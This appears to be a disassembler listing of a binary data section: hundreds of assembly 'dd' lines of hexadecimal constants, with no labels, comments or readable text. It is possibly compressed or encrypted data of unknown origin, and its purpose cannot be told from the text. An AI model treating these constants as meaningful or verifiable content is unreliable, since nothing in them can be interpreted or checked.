		dd 45A4941Dh, 96B87495h, 0CF07E056h, 9450B90Fh,	3271E655h
		dd 0F21BEF93h, 210FC726h, 7FB750E0h, 7218DCBFh,	0C1FD11A1h
		dd 0F322AB01h, 2F429140h, 33F2DEE5h, 813DD262h,	8762EB41h
		dd 49FA2943h, 0EBCEE1B3h, 0E1EDD67Ch, 4BC34BFh,	67B4988Dh
		dd 80D46736h, 0CDFCEDE9h, 0B15868E1h, 0E504B475h, 3E73C129h
		dd 5D61686Eh, 1BBA11h, 1CD83B00h, 44806DDDh, 1FD73585h
		dd 467E6EDEh, 1CD83787h, 0A59A0DDh, 5AEA2BE3h, 5B574B0h
		dd 5CEC2DE9h, 0FBB273ABh, 0F0C319AAh, 2F08E8E3h, 77AF5EA3h
		dd 29E506B6h, 6AA24AFAh, 0C17120E3h, 0E01CF028h, 64A48A20h
		dd 0BFCB47CEh, 36075DEEh, 6454EF93h, 0EB624C88h, 73A0CA0Eh
		dd 0BD0E2BC3h, 0EF933567h, 3FB698B4h, 3BEC5DEEh, 5D71E52Fh
		dd 3FF0289Dh, 0F018F63Fh, 10A3F434h, 0F63F3FBCh, 0F11F2D01h
		dd 0C404C029h, 0E580406Eh, 0C26A2B47h, 86368AE6h, 759BA965h
		dd 3DB930B9h, 3739E8B9h, 8Bh, 71AD5EBBh, 2CE807B1h, 32C259ECh
		dd 41AAEF93h, 13F44485h, 0BC781BDBh, 0E7B605D6h, 34E52F42h
		dd 0D988D918h, 53F3F73h, 6E5F431Fh, 0F63F613Ah,	0C722AB87h
		dd 9BA6903h, 0EBCF0362h, 2090436Fh, 7CCC0DC9h, 51B9518Dh
		dd 3686E55h, 1AC5733Fh,	0E9040000h, 0AF5CEC2Dh,	0E806B677h
		dd 0AD5DED2Ch, 0E900B071h, 6891EC2Dh, 39F834DBh, 66A75F89h
		dd 43823AD6h, 23E21AF3h, 54883B6Ah, 99E8E3EFh, 0AF5E32BEh
		dd 0E506B677h, 5EE4E829h, 477F6DADh, 4EFEA969h,	0BA1619Dh
		dd 9D59B282h, 0D115795Ch, 1FAC7F15h, 0E52F437Eh, 45D16943h
		dd 724D32D7h, 0D23F8F5Ch, 0F970DA1Ah, 0CFC4C1Bh, 88BA10D0h
		dd 1F2CA561h, 19AEA7C1h, 0B14360CAh, 51895155h,	8FF93DD8h
		dd 0CB61A15Dh, 366736E5h, 0F7E7A19Ch, 0C8F9EEEDh, 0B2CDB594h
		dd 4F7CF5D9h, 0A869A496h, 8A42AF1Fh, 0FA3A1603h, 0C72B5D99h
		dd 0C90B41F2h, 7C50B979h, 4D896052h, 0DA09278Dh, 29F9218Bh
		dd 1EAA9EBFh, 0FC2A7ECDh, 5B77B979h, 10A6E1D2h,	9F2FAF16h
		dd 0D07ABA72h, 0B3604C59h, 0F332EA03h, 9A72AA43h, 2BA68B36h
		dd 0D85E122Eh, 19000019h, 4FFF3EF6h, 1BAB6AA2h,	48F839F5h
		dd 15A564A0h, 82FF3EF6h, 1BD2C7Bh, 5E9670C0h, 0BC32F9Fh
		dd 55917ACAh, 3F8CDD94h, 0E8E3EEE9h, 5E9D1136h,	12A271ADh
		dd 4BFD3DF9h, 0C24B65A1h, 0ACFD5700h, 43322EC6h, 1ED63406h
		dd 18FD74DEh, 0A4F84BDCh, 0E9EF9262h, 8B38EBC5h, 0E52E4FE6h
		dd 0A414C7EBh, 0E2488844h, 77FE36D0h, 0CDF991B4h, 0E1B06309h
		dd 210F8C4Bh, 3E943E92h, 87AF83F6h, 0EA63131Fh,	0DA9E38D9h
		dd 0FA2905EBh, 0E26BA34Ah, 0F5E2B500h, 1BDF3377h, 0FA12A271h
		dd 0CB9A4BC2h, 0D059957Bh, 38102AE3h, 9B5B77BAh, 85563CF8h
		dd 0E448DD36h, 0DD0E22C0h, 3A6EDD8Ch, 87D1F46Fh, 0F91222ABh
		dd 9B4CFC3Dh, 0C45B8B63h, 39053D74h, 190675h, 70AC4700h
		dd 30EC01B1h, 73AB41F1h, 32EA02B2h, 70AC43F3h, 7635CCB1h
		dd 2E9E5F97h, 71C100BCh, 10A0619Dh, 0B7FE3FF7h,	0EDFF55E6h
		dd 6B4CE8E3h, 6DAD5EE7h, 2A80407Ch, 3993C404h, 0FADFB8C9h
		dd 9673FA45h, 58EB3852h, 0E52E4E25h, 0E2C7062Ah, 0DBAD6977h
		dd 9339F935h, 953F6EBDh, 0B8D753D1h, 7241C824h,	0EBDA8FD3h
		dd 0CD67B498h, 1852D218h, 549078BAh, 0A411F37Ah, 808081FEh
		dd 8E5D37F3h, 0F521B324h, 0BB0878E5h, 99942B65h, 21A886AAh
		dd 0A1F0A1F0h, 942BBE12h, 1E2F0399h, 99942BCAh,	81B23B17h
		dd 8F3019C8h, 40EA3915h, 0EA58771Eh, 0B173FA22h, 886016D2h
		dd 2B1624Ch, 95DC96C9h,	0B8E93A16h, 0AE27DF08h,	62B16D9Eh
		dd 0BC4C8033h, 0BD91A6ECh, 16A6F734h, 0E6F3C4FAh, 0C04C84F5h
		dd 0B65767EEh, 0ABC6967Eh, 320E126Ch, 18167Eh, 0BC5700h
		dd 609C71C1h, 0C3FB11A1h, 0A25AB202h, 803CD363h, 86C53C41h
		dd 0DE6EAF67h, 8131F02Ch, 0C070B16Dh, 672EEF27h, 0EC4F8536h
		dd 0BB9CE8E3h, 77AD5E37h, 0E8E257E4h, 8541A8BFh, 264585ABh
		dd 0E85B88E2h, 0E52EEA95h, 0A6F7361Ah, 0CF23F716h, 537DD717h
		dd 15B03993h, 0F482466Ah, 0B11BDB13h, 5EFF4C9Fh, 23EBDB00h
		dd 0EC5AEF0Fh, 0F5F9AEB0h, 0DAC117A4h, 0C62BFA2Dh, 0BC35190Eh
		dd 0E5F19D59h, 0E180F3D3h, 8E3DEEC0h, 0EFC9B0D7h, 0ABC80824h
		dd 154BF86Fh, 5A00D9D5h, 388B5876h, 0F675E9DFh,	63D3002Ch
		dd 2393528Ah, 38FA12CAh, 68730664h, 17611854h, 0DE00000h
		dd 4BA010D1h, 0CE25293h, 49A111D0h, 0DFC4C8Dh, 946D10D1h
		dd 3DFC38D7h, 62A35B8Dh, 47863ED2h, 1FDE16F7h, 60B40756h
		dd 0ADE8E3ECh, 0AD5E068Ah, 16D2B171h, 0D11CAF7Ch, 0DEE52F42h
		dd 5C501EEh, 654081AFh,	771DD905h, 767617A4h, 173BEBDBh
		dd 0C57F6EC4h, 0E727DF0Fh, 0C44C654Dh, 8633D158h, 8920B78Fh
		dd 0D10268ACh, 8C4C8861h, 0CD7EAF26h, 8650C514h, 4C02D9Dh
		dd 0F2E76EC4h, 50BD0DDEh, 0E886DA69h, 0E7CB9760h, 0E18240C9h
		dd 0CD9C4F25h, 0D9508C7Dh, 0FCFDB1EAh, 1D2FE8Ch, 0FCA1FA50h
		dd 0F95FA92Bh, 7CF5DB13h, 0A2639B4Ch, 0C96559F3h, 816EB523h
		dd 17CF3808h, 8D8A39FFh, 0E3AF9309h, 169Bh, 3EFF37DAh
		dd 64A5618Eh, 3FFE36D4h, 66A75F8Fh, 3EFF37D6h, 0FEEDBA43h
		dd 55B707C6h, 4E85899h,	50B909C8h, 4D1C5594h, 0E3EBAAFEh
		dd 5CD0F7E8h, 3D77AD5Eh, 0CF850F52h, 5C3FFFD1h,	9221F298h
		dd 0E522128Eh, 0F4313913h, 9BF4C777h, 9D3766B5h, 0D35FB119h
		dd 1E2EA758h, 43F031EDh, 0F6414C5Dh, 7EBFD512h,	20E11DCEh
		dd 38EB8145h, 0D08AA58Bh, 0C7002AEBh, 0A8648BE4h, 4FF00F80h
		dd 0ED02B261h, 0B852E231h, 8636F57Ch, 0DB6DAD69h, 6C12FA32h
		dd 74687107h, 16010448h, 0AD400000h, 0EB00B071h, 0AC42F233h
		dd 0E901B170h, 0AD5CEC2Dh, 34CDB071h, 9D5C9877h, 0C203BB2Dh
		dd 0A7669E72h
		dd 0FF3EF617h, 54E7B6h,	4DE8E3EBh, 4F8BE66Ah, 483E4E23h
		dd 6E40CD00h, 172A0EBDh, 66B7E522h, 1B508437h, 0B19DF642h
		dd 421B4C80h, 47A191F6h, 0CBE54F8Fh, 1B75AB18h,	96BAF642h
		dd 32DB6BB8h, 995E3BFAh, 99320F3h, 96F6421Bh, 9D2D7ABAh
		dd 0C3FB66Eh, 0F6421BD5h, 49D872A5h, 0C5EB1FD2h, 680426AFh
		dd 0EA1C088Ch, 650039h,	8B8C0000h, 0A4F5264Ch, 361246F5h
		dd 735FEF93h, 3597C9FAh, 0C8E4EF93h, 3563BD08h,	3317EF93h
		dd 4B3FBB57h, 3C35C0BBh, 0B9000000h, 9336045Dh,	177DB9EFh
		dd 523F95C4h, 0F82C9F46h, 45EF925Dh, 70854169h,	0D26F5CD5h
		dd 1BE52F51h, 7F5B39B1h, 25AC882Ch, 0AB9A1A30h,	55B3D8E8h
		dd 3FF2B2E6h, 0FDD3FFF6h, 8B1E12D3h, 0AD17234Fh, 0CE8CCAADh
		dd 8D8033E0h, 52E52F0Dh, 0DF08BE7Eh, 291BD33Bh,	6EC404C0h
		dd 0D8318140h, 2D9ECF1Ch, 0F63F30F7h, 23E16844h, 7EBE7695h
		dd 0C32F9F4Ch, 0E861CB0Bh, 12FB9ECAh, 15A309DAh, 53E7A7B0h
		dd 41F132BBh, 609C70A8h, 0BD2D9D4Eh, 1DD93301h,	0F1355694h
		dd 0FEFB489Bh, 83EBDA44h, 2DDE6EAFh, 7B9222F1h,	0BD08CA43h
		dd 64B21A46h, 0E409B96Ah, 0E783A128h, 5C9D59B2h, 31DFFBECh
		dd 0D16235F5h, 7521187Bh, 0ECC2ECC0h, 0BA729A2Ch, 93FFDD7Ah
		dd 0AF1C1DCEh, 75211879h, 5C4EAC6h, 589854B5h, 9B53BF0Fh
		dd 9D78F15Bh, 0B1E03359h, 0EC2CE801h, 0CDFCCF46h, 0D26ABD0Bh
		dd 355CB003h, 8DA17BCDh, 26C070A3h, 0F2DC18F2h,	0DF08B87Bh
		dd 0B751E727h, 5E8DBF7Fh, 3568BC0Fh, 85B57BCDh,	881AF67h
		dd 0F21B3E2Ah, 0DC43E93Ah, 8FEC9A3Bh, 0E3B271F8h, 0F2C2F849h
		dd 35BC1A00h, 0E828E405h, 75DEEBFh, 547BCC8Bh, 0D014F178h
		dd 6FDA69BAh, 78716892h, 9867DAD2h, 78EE8FEh, 4FFF3E12h
		dd 0F1A6669Eh, 9C71A941h, 240AA060h, 0F4C74EE4h, 9278BD9Ch
		dd 0B7EA865Ah, 0EF5F9E56h, 0FE36D703h, 0BD4A9E2Dh, 0BB979278h
		dd 0A4174695h, 9278BD70h, 0DA1891BDh, 4691278Dh, 3CC3AC0Bh
		dd 0E020DC0Eh, 1CF3C34Ah, 17D70FFCh, 0E55393BDh, 4E823108h
		dd 939278E0h, 0E75191BFh, 0BF09C905h, 0FC56964Eh, 0D091FDDFh
		dd 0A2F79331h, 0E757964Eh, 0A513D30Bh, 7B498945h, 866A2F5Bh
		dd 0D33F8F4Eh, 7CB8DB1Bh, 6376C516h, 288814D7h,	4163C404h
		dd 7C9C7025h, 3E945490h, 8861D110h, 6BDB8C4Ch, 0F2C24B83h
		dd 781DDD19h, 2EBAEDAh,	86020BCAh, 8A96D574h, 30h, 0CDACF15Bh
		dd 0A65FF62Eh, 0F852924Ah, 5ED35FD6h, 488466B2h, 1C5A666h
		dd 35EF2596h, 103CEF93h, 0DB5EED3Eh, 60E52F46h,	1CC78D4Ch
		dd 0CD000000h, 0BA7AB25Eh, 0A4771DD9h, 2F2A4217h, 70A38FE5h
		dd 2EF2BC0h, 8EA00ACAh,	0BFC8C407h, 0A32AE20Fh,	0E0246206h
		dd 6BEA598Ah, 30E52F43h, 0ED2DE900h, 5678B45Bh,	0AA01AB78h
		dd 870E287Ch, 40F5179Eh, 0E1D3190Ch, 0FD1365A1h, 5BB701C1h
		dd 0E7C963A3h, 200D56CFh, 22CEA6Ch, 0DD3380D1h,	22EAF3B9h
		dd 0E556870Eh, 0E08FA82Ch, 0FE9D5D71h, 3083503Ah, 0E73BE0D7h
		dd 6BDB0824h, 0DA8B4A82h, 26C39070h, 66EFE2DBh,	3F7FB556h
		dd 344015CCh, 0DA7A92BCh, 0A63CBC4h, 126D7A36h,	1EC0000h
		dd 57B404C5h, 0EE5E9Fh,	55B505C4h, 1E85899h, 807904C5h
		dd 31F02CC3h, 6EAF6781h, 3BFA32DEh, 6BAA628Bh, 8CC07322h
		dd 0D1E8E3E7h, 75D7AF6h, 0A4EF9335h, 6AD90A60h,	0E52F55CFh
		dd 8923F0DCh, 64D730A6h, 0F63F7430h, 0AC79517Dh, 0A071F817h
		dd 2CDCFC10h, 0AF1FDEF0h, 0FD4B8B43h, 0A238D00Ch, 7261BFE0h
		dd 1201024Eh, 0AD400000h, 0EB00B071h, 0AC42F233h, 0E901B170h
		dd 0AD5CEC2Dh, 34CDB071h, 9D5C9877h, 0C203BB2Dh, 0A7669E72h
		dd 0FF3EF617h, 54E7B6h,	4DE8E3E7h, 4F8BE66Ah, 985CF625h
		dd 5DE2DE5Ch, 5DEE3FB6h, 0E52E65A0h, 558B3869h,	9AF63E69h
		dd 1A2A3FB6h, 0C6153BF3h, 9C5D9976h, 0C707BF2Ch, 9C5C9871h
		dd 286D193Bh, 0EFCA0BC3h, 0F9955666h, 25D823CAh, 0AB4B65C0h
		dd 0F434F01Dh, 3EE60841h, 0A8C4E4F6h, 8C48A414h, 1CD83505h
		dd 0C12E9ECFh, 5E6FC505h, 0F63EE60Ah, 31F27B57h, 63B06C81h
		dd 53803CD3h, 3EE5ACE0h, 54DDF1F6h, 5B31F596h, 24553B88h
		dd 0F45EEBCEh, 5D8FD6D3h, 93C89A1h, 45948108h, 0ED9CA2F6h
		dd 0EDC3EFFCh, 0A15D8E3Eh, 0FF37D060h, 0F2985C3Fh, 27DA7021h
		dd 0B9676D05h, 349DAE27h, 79F27D2Ah, 0D5368655h, 628E405h
		dd 0BF0F5E8Fh, 0A9658951h, 2DEDC369h, 0CD3E0E87h, 9A72C211h
		dd 2DF82C9Fh, 6945039Dh, 5C987547h, 0F74716D5h,	5B6BE21Ah
		dd 0D9BA7AB2h, 4A826B1Dh, 71DB764h, 0DF94813Bh,	0C67AAE1Dh
		dd 0EBC7039Ch, 0CC9D4CC5h, 0DA538B7Ch, 38BB54E9h, 9D7559F9h
		dd 75C93703h, 0BCA9E5D9h, 3D000010h, 6BDB1AD2h,	3F8F4E86h
		dd 64D415D1h, 39894884h, 0A6DB1AD2h, 3DF9105Fh,	629A4CFCh
		dd 0C7FF13A3h, 9955B606h, 0F3401158h, 0E8E3E59Dh, 5D49C5E2h
		dd 0EF9335D0h, 99589478h, 815238FCh, 2273D332h,	0E73418E5h
		dd 2EE606B6h, 0BD7997A7h, 28872D7Ch, 0EB7ABEFAh, 0E73BB73Eh
		dd 0C13B5363h, 17569h, 4B8BE500h, 0CBFAF21h, 0EF9335D5h
		dd 0BF3BB59Bh, 0C01F4CB3h, 6DDE498Bh, 0EF933637h, 886A884h
		dd 0EEBFC14Dh, 9336075Dh, 0F17854EFh, 5BBBD714h, 0D286941h
		dd 8CC44A64h, 5373E786h, 5099BDBBh, 15000000h, 24E00FBFh
		dd 0E08A48ADh, 0D50CBF6Eh, 1AEF9335h, 59957BCBh, 93363468h
		dd 71AD5CEFh, 200C1BB1h, 816DDD0Eh, 61D28545h, 0EF93362Bh
		dd 0FB725C70h, 5EB3BF77h, 17A774B0h, 55FF3FF7h,	0B9B550DCh
		dd 28815BFh, 0F85BFC12h, 30BB71h, 8BB10000h, 0BFAD2349h
		dd 71AD5EEEh, 0A1921BB1h, 0EF933568h, 32E60634h, 4CE626DEh
		dd 2608A262h, 5EB3BFA8h, 0DA774B0h, 0EFFD9EFBh,	0BA36BF8Dh
		dd 73E7B9B5h, 99BDBB53h, 42h, 0DD0FBF15h, 794BE121h, 33995995h
		dd 0F69C5FBAh, 5EEEBF78h, 477F6CACh, 7AD3E069h,	0C7EF9335h
		dd 0B3BF65EBh, 0A675B15Eh, 361044F7h, 715DEF93h, 35BB11A2h
		dd 2C00EF93h, 0B9B529A5h, 57A4h, 0FBFAE00h, 4CE626DEh
		dd 89E320C5h, 24CCF05Ah, 818EC271h, 0FFD3EF92h,	0C602C6D7h
		dd 0EEBFC34Fh, 35D80CBFh, 925EF93h, 355AB380h, 0E26EF93h
		dd 4FA3A43Bh, 0D5FD5797h, 58764A32h, 0A33D218Bh, 17C9937Bh
		dd 0B3BF129Eh, 0FB75B15Eh, 6B5E4B5h, 0EF9335D2h, 36BA331Fh
		dd 0FFFE8EA4h, 0A943F3FFh, 0F28B456Dh, 0B6EFE2DDh, 0FBFB33Fh
		dd 2F65D6E3h, 7CEF9336h, 12F77E50h, 0DF6FBCD6h,	0AD7CF531h
		dd 22741A1Eh, 588BA7E5h, 9955B909h, 4A7AF359h, 0C1A465A1h
		dd 0CBF6C06h, 0F64278D8h, 9EC90925h, 79287CCFh,	5975F642h
		dd 78AFE3D0h, 6743F642h, 0F66BEF0Bh, 3C6139EBh,	0ED000000h
		dd 9336035Dh, 407C6DEFh, 0DC92393h, 9DF44784h, 26EF9335h
		dd 3590C477h, 0F1DDEF93h, 33599D78h, 226253E0h,	0DFEFE52Fh
		dd 9A36F62Eh, 4DCD2FC7h, 1D331DD5h, 0A796DCh, 8B9C0000h
		dd 45F6254Fh, 0E52F54D8h, 7CB85565h, 458EBBCh, 49F63F57h
		dd 0B6654B65h, 0E132EA06h, 880CBE4Bh, 0C24BEDFBh, 0A15DB101h
		dd 0ACC60261h, 0F410CC7Fh, 6D5DEBCEh, 0B96A4480h, 75B158E8h
		dd 0BC2D1FB5h, 0E36AC000h, 46873FD3h, 22E21AF6h, 3CEF8541h
		dd 7E0CDA8Fh, 0D80B27F2h, 0CC458168h, 803CAD1Dh, 0C018F141h
		dd 842EEE26h, 866442AAh, 201C6F1Eh, 0DE26Ch, 54906300h
		dd 0CC82595h, 578F7DCDh, 0EC62696h, 54907FCFh, 5211E895h
		dd 72C203BBh, 2D9D5C98h, 74C405C1h, 0D39A5B93h,	0E2DB3182h
		dd 720E8E3h, 71AD5E8Bh,	2EE607B1h, 8BDA8BEEh, 2E1FD73Bh
		dd 0EF9335FAh, 0C0E26B47h, 0DC18F1A4h, 40FDA50Fh, 8745C3BBh
		dd 40C4CD0Eh, 48C0BB9Eh, 27h, 254F8BC4h, 248C45F6h, 0FDD1E52Fh
		dd 0AA628B3Dh, 0FA32DB6Bh, 0F79D593Ah, 24C57524h, 0C75261E8h
		dd 54EBDB67h, 5EB5B978h, 488469B1h, 0CD0C2288h,	0A348907Dh
		dd 3085456Bh, 0EF9335A3h, 0CF39E10Dh, 537DD717h, 9F73C392h
		dd 7658947Bh, 5667445Eh, 6BE23C9Eh, 0D03C4A8Eh,	507ED414h
		dd 0A5DE3083h, 0F23E521h, 467E6CDCh, 15BF8B87h,	0CCEFDC99h
		dd 0CC45CC1Bh, 0C13BFE48h, 14A40h, 4B8BCC00h, 0CBFAF21h
		dd 0EF9335D5h, 0BF3BB59Bh, 0AC25E10Fh, 1F4C717Dh, 23498BC0h
		dd 2C9C4DADh, 78B02BAh,	6CDF488Bh, 0EF933638h, 9C58B585h
		dd 0FF4F9CB2h, 0BD17D70Fh, 2DA4608Fh, 0DD0FBFA1h, 0C24BE121h
		dd 73E72A20h, 99BDBB53h, 4Ch, 0DA12F848h, 498BDF53h, 11A1F023h
		dd 0AB01C1FDh, 9335469Ah, 2EA78BEFh, 0D50CBFA2h, 1AEF9335h
		dd 0EEBFB836h, 0BA7AB25Eh, 360A5EEDh, 7B57EF93h, 5E50DC55h
		dd 0E63A89B0h, 2BEF9335h, 0B5A72907h, 7AB254E4h, 3AA47FF3h
		dd 0AE000000h, 9625498Bh, 1CD8364Fh, 375E76DCh,	1B95BB2Fh
		dd 75DEEBFh, 54EF9336h,	9320F178h, 0EF93353Ah, 0BFA62806h
		dd 74B05EB3h, 0E00FBFFAh, 3FF57D22h, 82ACD52Ch,	0BA61E842h
		dd 5373E7B6h, 4099BDBBh, 15000000h, 0AC22488Bh,	0AD5EEEBFh
		dd 35E93F8Ch, 1A36EF93h, 0D75EF434h, 9335ADE4h,	668636EFh
		dd 4DC46EAEh, 0BFFA7458h, 75B15EB3h, 3815BFFBh,	0ED1742B2h
		dd 3539E26Bh, 26DE0FBFh, 2765AFh, 8B6F0000h, 0BFAC2248h
		dd 9335D50Ch, 3C8FDEEFh, 0EF9335E8h, 4901935h, 0B3BFA42Ah
		dd 0EE73B15Eh, 58AAE849h, 0B55AD4FAh, 0FEA4A4B9h, 0BFAEFFFFh
		dd 0A32AE20Fh, 3BE88246h, 2273A488h, 0FBCEDE5h,	0F64277D9h
		dd 96830A26h, 30D969BAh, 7766BA09h, 7AABF642h, 427793C9h
		dd 0DAF4D8F6h, 975035F4h, 6F9E2EFDh, 0EFDD77B7h, 9948C1FDh
		dd 4277F62Ah, 0C4173BF6h, 99599574h, 0CD78BA33h, 0F6427799h
		dd 0F5117D59h, 39EBF571h, 91C77425h, 0DEF6427Fh, 1AF47BF2h
		dd 78000000h, 9336035Dh, 407C6DEFh, 8660D081h, 0BC7CB852h
		dd 7BB13816h, 0CFh, 254F8B71h, 42BC45F6h, 0AD81E52Fh, 0F622CE7Eh
		dd 30F0DE16h, 0A6FA499Ah, 0EBF63F6Ah, 0CE9F4EC7h, 413664h
		dd 9E708FBh, 5A6AE3CDh,	0FBF7EB6h, 88EB2BE3h, 46F5264Ch
		dd 0EBCEDA8Eh, 8D49A717h, 0CB6CCDA5h, 0D45D6811h, 8E3EEDC1h
		dd 3A6BAA62h, 3B84D86Bh, 18C9FCEEh, 0EE3B75ABh,	0B896BAFCh
		dd 31ED0131h, 0FEBB52E2h, 0EE3C174Dh, 664864FCh, 8A4E2DEFh
		dd 0C86233E0h, 0B7BA6F2Ch, 4172FBD5h, 0F27DE68Ch, 9E2EFDD1h
		dd 0E233BA72h, 0BC7DB952h, 0CB23DB0Ch, 6F1E60F1h, 9C93DFE3h
		dd 0DD00000Ah, 8B3BFA32h, 0DF6FAE66h, 8434F531h, 0D969A864h
		dd 463BFA32h, 0DD19F0BFh, 823AAC1Ch, 0E71FF343h, 0B9759626h
		dd 0D3603178h, 0E8E3DF7Dh, 0BF69E5C2h, 0EA2AE20Fh, 10F9C940h
		dd 49A214D4h, 16FB4D8Dh, 42A81EDEh, 44644A8Ah, 2A886928h
		dd 3AF21B3Eh, 4B76F2FBh, 3C7AC0BBh, 0F6000000h,	0F6254F8Bh
		dd 2F428445h, 25E5C9E5h, 83427A93h, 0D13EDA33h,	517FD515h
		dd 5C36F291h, 11CF3F8Fh, 0E408D38Ah, 43CAE485h,	2D982192h
		dd 4965EBDCh, 41C8309Ah, 422A2E8Eh, 0BF0408CBh,	6AD9E00Fh
		dd 0EF933636h, 0B979577Bh, 927DF0Fh, 363369DAh,	5478EF93h
		dd 0C400EDDDh, 352BB605h, 7995EF93h, 0DD197CBDh, 4ED764B7h
		dd 0D3E52273h, 6E9C2CFFh, 0E77B77B6h, 0C13B5363h, 16E69h
		dd 0FBFE500h, 1DD936E2h, 0A745F333h, 2B05AF6Fh,	0F18747A2h
		dd 22F1DF17h, 7CBC7892h, 0BFD35FD6h, 9335D50Ch,	3BB59BEFh
		dd 1F4CB3BFh, 23498BC0h, 0DF0FBFADh, 18DAE27h, 0AC22488Bh
		dd 2BE30FBFh, 9D7341EBh, 0AE861h, 25E10FBFh, 53B125ACh
		dd 2DDBBDBBh, 57000000h, 26DE0FBFh, 0E2884AAFh,	0D50CBF6Ch
		dd 1AEF9335h, 0B3BFB836h, 0FA74B05Eh, 3FA4B9B5h, 0F3000000h
		dd 0DDEE8B59h, 7990FC00h, 961A93BDh, 0AD23498Bh, 882615BFh
		dd 0DC6DCC7Ch, 65D58455h, 0F2C14884h, 0EF92369Bh, 2BA5361h
		dd 0C84668C2h, 75DEEBFh, 54EF9336h, 2C20F178h, 0FA74B05Eh
		dd 0EEBFB9B5h, 9336075Dh, 0FA256BEFh, 89CABD67h, 0B23BB29Eh
		dd 0BDBB0926h, 422Ah, 0A64BFB00h, 8B6BE76Eh, 0BFAC2248h
		dd 9335D50Ch, 8F74DEEFh, 0A14DC9B9h, 0AD81941Dh, 5EB3BF23h
		dd 16A675B1h, 4FF939F5h, 77456BA3h, 359F5F97h, 0B9B530BCh
		dd 57A4h, 6C59F300h, 0D1DA7EE5h, 0BFDB57DEh, 0DBF7B15h
		dd 0B48630F2h, 0F65C9C58h, 33599A7Fh, 0D50CBFBDh, 0DEEF9335h
		dd 23839574h, 0CF4695F6h, 0BFFB755Bh, 0D5F44EEh, 0FDADEB19h
		dd 0DC4FB209h, 3BB29C8Dh, 75B15EB7h, 4EE4B5FBh,	7997EBC7h
		dd 0DF8C95BDh, 0EA2AE204h, 6BE76E40h, 0FF8715BFh, 771A2711h
		dd 0FE8934FEh, 8B3EFFFFh, 45F6254Fh, 0E522745Fh, 0A313C0ECh
		dd 3653924Ah, 19489BF1h, 919AC3B3h, 2FA65DD2h, 4248C81Ch
		dd 0F93915F6h, 42491A4Ch, 73AB42F6h, 2EE605B3h,	967644EEh
		dd 8CAC9E5Eh, 0DE09A1E0h, 0CA058C74h, 9C156E59h, 0B236D2BEh
		dd 0B639EBB5h, 10h, 36035D3Ah, 7C6DEF93h, 93CB8140h, 0C1000000h
		dd 0F6254F8Bh, 0A7E3D15Ch, 0AD2465A4h, 394ACF7Ch, 3B17E52Eh
		dd 78B458E8h, 35E509B9h, 76DC1CD8h, 3FFB9858h, 5F358655h
		dd 0ACEBCD83h, 0FE35380h, 4AA616D7h, 0B5055292h, 0FE4D9E56h
		dd 0FCED87AAh, 0B752DBF7h, 79CA1973h, 0F27C9DA4h, 0A616C5E9h
		dd 0F8488945h, 433FD70Fh, 1D6F1D17h, 7916D21h, 3DD00000h
		dd 1BF04081h, 7C9222E3h, 0D9318140h, 7D6CDC1Dh,	4FD8041h
		dd 0AD6CA847h, 0F233EB1Dh, 0B776AE42h, 0EF2EE607h, 1044F7A6h
		dd 5DE8E3DDh, 0FBFF67Ah, 93A32AE2h, 0D80CBF7Ah,	25EF9335h
		dd 51E72709h, 1FAF7CB8h, 5EF434F0h, 217015D7h, 358DC370h
		dd 0F8D2EF93h, 0C34A4CFCh, 20A9874Fh, 0DA336602h, 6EEAE322h
		dd 62C0BB90h, 59h, 0C3AD19B3h, 0E31D73C0h, 4E62EF92h, 0A5231966h
		dd 35BC7897h, 254F8BB9h, 560445F6h, 6549E52Fh, 26FA1CB6h
		dd 0A50CF9FCh, 29A08E46h, 5EEDBCEBh, 0F63F9A0Ah, 4E866757h
		dd 82DAE960h, 70F63F99h, 34843854h, 6FD919D5h, 218B4B83h
		dd 8B0F860Fh, 8139E8D3h, 43h, 0E00FBF0Dh, 0C74EE424h, 5F8CE622h
		dd 2F4631ECh, 92527EE5h, 0D80BC324h, 87477F68h,	311FD731h
		dd 22CB7BB8h, 8D492AEAh, 28734E7h, 0CFEBDB60h, 0A8FC4F1Eh
		dd 0F5FCEB6Bh, 6BB4E8D9h, 0D5F9FCEBh, 0CB363AFBh, 0D1A763A3h
		dd 0D00CE038h, 0B003D0FEh, 0E52F4311h, 9121F2DEh, 2983437Bh
		dd 441542A0h, 3F68A1F7h, 4BC2EEF6h, 11AF8778h, 5620E436h
		dd 81527CB8h, 51A25B32h, 4C8CA0ACh, 5281EB2Fh, 3570A903h
		dd 1C8B903Ah, 2F6DA695h, 0C676B2FEh, 6E7BF22Ah,	0C8219142h
		dd 3D8EDF0Ch, 0C40E55E7h, 52911834h, 3ECB09E2h,	91B508F6h
		dd 5F31B35h, 0CF2F8F67h, 611BFF3h, 0BD500000h, 9B70C001h
		dd 0FC12A263h, 59B101C0h, 0FDEC5C9Dh, 847D00C1h, 2DEC28C7h
		dd 72B36B9Dh, 37F62EC2h, 6FAE6687h, 90C47726h, 0DDE8E3DAh
		dd 0AD5E76FAh
		dd 0E907B171h, 4D89EC2Dh, 9147F427h, 0DEE52274h, 668432F2h
		dd 0CC8846AEh, 4C7061C2h, 5BE00h, 18D43F00h, 488469D9h
		dd 1BD33989h, 4A826ADAh, 18D43B8Bh, 0E5DA4D9h, 56E627DFh
		dd 9B978B4h, 58E829E5h,	0FFB677AFh, 0DAC71DAEh,	3314E8E3h
		dd 254F8BBFh, 748B45F6h, 0FCD0E522h, 0A8648A3Ch, 0C2CC9440h
		dd 307C4061h, 573h, 26E71FF2h, 7CBD7996h, 27E61ECCh, 7EBF7797h
		dd 26E71FCEh, 6E5A25Bh,	4DBF0FCEh, 0CE05091h, 48A111D0h
		dd 55044D8Ch, 0E3DAB2E6h, 54D8FFE8h, 0D5394F8Bh, 57E43719h
		dd 0E5227479h, 9D59B202h, 6B7EF75Dh, 0DB318747h, 0F89FCB23h
		dd 0EDD161C2h, 51EA1h, 78B45F00h, 28E409B9h, 7BB359E9h
		dd 2AE20ABAh, 78B45BEBh, 6E3DC4B9h, 3686477Fh, 69D918D4h
		dd 38884985h, 9FD617CFh, 0DA277DCEh, 5374E8E3h,	71AD5EDFh
		dd 0C3FB12A2h, 0E220A903h, 0BB7BB354h, 0E121DD0Dh, 3002BA57h
		dd 0ECDE1ED6h, 57E1A0CCh, 0A5461B77h, 53F9A869h, 0DDA1F8D3h
		dd 0EF27C18Fh, 22AB852Fh, 0FD3DF912h, 93171148h, 8C3CEFEFh
		dd 0D2FA65Eh, 15CB3C61h, 0BEA1E5D7h, 0B06C9E5Eh, 0DAF4DA70h
		dd 8A42AB1Bh, 0D30BFC4Ah, 0C5B37712h, 6FA51623h, 0BCEF9247h
